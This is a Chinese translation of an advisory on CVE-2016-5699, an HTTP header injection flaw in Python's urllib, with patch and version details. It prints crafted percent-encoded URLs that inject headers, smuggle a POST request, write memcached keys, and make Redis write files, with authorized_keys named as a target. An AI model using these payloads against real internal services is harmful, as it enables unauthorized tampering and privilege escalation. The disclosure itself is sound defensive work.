Python urllib HTTP头注入漏洞
已经发在了乌云知识库 http://drops.wooyun.org/papers/16905
总览
Python的urllib库(在Python2中为urllib2
,在Python3中为urllib
)有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web server,那这个漏洞可能会危害内网服务安全。
问题在哪
HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。
1#!/usr/bin/env python3
2
3import sys
4import urllib
5import urllib.error
6import urllib.request
7
8url = sys.argv[1]
9
10try:
11 info = urllib.request.urlopen(url).info()
12 print(info)
13except urllib.error.URLError as e:
14 print(e)
这段代码只是从命令行参数接收一个URL,然后去访问它。为了查看urllib
获取的HTTP头,我们用一个nc来监听端口。
1nc -l -p 12345
在正常的代码中,我们可以这样访问
1./fetch3.py http://127.0.0.1:12345/foo
返回的HTTP头是
1GET /foo HTTP/1.1
2Accept-Encoding: identity
3User-Agent: Python-urllib/3.4
4Connection: close
5Host: 127.0.0.1:12345
然后我们使用恶意构造的地址
1./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
返回的HTTP头就是
1GET /foo HTTP/1.1
2Accept-Encoding: identity
3User-Agent: Python-urllib/3.4
4Host: 127.0.0.1
5X-injected: header
6x-leftover: :12345
7Connection: close
然后攻击者可以任意注入HTTP头了。
这个攻击在使用域名的时候也可以进行,但是要插入一个空字节才能进行DNS查询。比如说,下面的URL进行解析会失败的。
1http://localhost%0d%0ax-bar:%20:12345/foo
但是下面的URL是可以正常解析并访问到127.0.0.1的
1http://localhost%00%0d%0ax-bar:%20:12345/foo
要注意的是HTTP重定向也可以利用这个漏洞,如果攻击者提供的URL是一个恶意的web server,然后服务器可以重定向到其他的URL也可以导致协议注入。
攻击面
下面会讨论几个可能导致严重后果的攻击方式。当然还远远不够,攻击都需要特定的场景,有很多不同的方法可以利用,还不能确定有没有其他的利用方式。
HTTP头注入和请求伪造
这个攻击方式由来已久了,但是和以前的请求伪造不同的是,这里仅仅是可以注入额外的HTTP头和请求方法。当然当前场景下,能够提交不同的HTTP方法和请求数据就已经很有用了,比如说原始的请求是这样的
1GET /foo HTTP/1.1
2Accept-Encoding: identity
3User-Agent: Python-urllib/3.4
4Host: 127.0.0.1
5Connection: close
攻击者可以注入一个额外的完整的HTTP请求头
1http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo
这个的响应是
1GET /foo HTTP/1.1
2Accept-Encoding: identity
3User-Agent: Python-urllib/3.4
4Host: 127.0.0.1
5Connection: Keep-Alive
6
7POST /bar HTTP/1.1
8Host: 127.0.0.1
9Content-Length: 31
10
11{"new":"json","content":"here"}
12:12345
13Connection: close
demo中注入的完整的请求头在Apache HTTPD下是工作的,但是其他的server不一定能正确的解析或者利用。这种攻击可以用在内网攻击上,比如未授权的REST、SOAP或者类似的服务Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)
攻击memcached
在memcached文档中,memcached会开放几个简单的网络协议接口供缓存数据读取和存储使用。一般来说,这种mamcached都是部署在应用服务器上,这样多个实例之间共享数据或者进行一些操作就会比较快,不用进行数据库操作了。要注意的是,memcached默认是都没有密码保护的。开发者或者管理员一般也是认为内网的应用是无法被攻击的。
这样,如果我们可以控制内网的Python访问一个URL,然后我们就可以轻松的访问memcached了,比如
1http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo
就会产生下面的HTTP头
1GET /foo HTTP/1.1
2Accept-Encoding: identity
3Connection: close
4User-Agent: Python-urllib/3.4
5Host: 127.0.0.1
6set foo 0 0 5
7ABCDE
8:11211
当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行。下面是memcached的响应(memcached是Debian下包管理默认配置安装的)
1ERROR
2ERROR
3ERROR
4ERROR
5ERROR
6STORED
7ERROR
8ERROR
经过确认,memcached中确实成功的插入了foo
的值。这种场景下,攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据(比如用户的session数据,HTML或者其他的敏感数据),攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击,就是攻击者可以在memcached中存储大量的数据。
攻击Redis
Redis和memcached很相似,因为都提供了数据备份存储,一些内置数据类型,还能执行Lua脚本。前几年Quite a bit公布了攻击Redis的一些方法(链接1 链接2 链接3)。和memcached类似,Redis提供了TCP协议的接口,然后也可以执行一堆错误命令中的正确命令。另外,还可以利用Redis在写任意文件,攻击者可以控制一部分文件内容。比如下面的URL在/tmp/evil
下创建了一个数据库文件。
1http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo
然后可以看到刚才存储的一些键值对数据
1# strings -n 3 /tmp/evil
2REDIS0006
3foo
4bar
理论上,攻击者就可以利用Redis创建或者改写一些敏感文件了,包括
1 ~redis/.profile
2 ~redis/.ssh/authorized_keys
3...
多版本的Python都受到影响
Python 2和3版本都受到影响,Cedric Buissart 提供了修复问题的部分信息。
3.4 / 3.5 : revision 94952 2.7 : revision 94951
虽然已经在最新的版本中修复了,但是很多系统的稳定版是没法得到修复的,比如最新的Debian Stable就还存在这个漏洞。
我的一点思考
Redis和memcached的开发者提供的默认配置是没有密码的,这个是不负责任的。当然,我能理解他们认为这些东西应该在"可信的内网"中使用。问题,实际上很少的内网能比外网更安全。未授权的服务即使监听在localhost,也会受到影响的。在安装过程中加一个随机生成的密码也并不难,开发者应该严肃的面对安全问题。
注
- 这个漏洞编号是 CVE-2016-5699,RedHat给申请的 http://www.openwall.com/lists/oss-security/2016/06/14/7
- 以前Python bugs中的讨论 https://bugs.python.org/issue22928
原文 http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html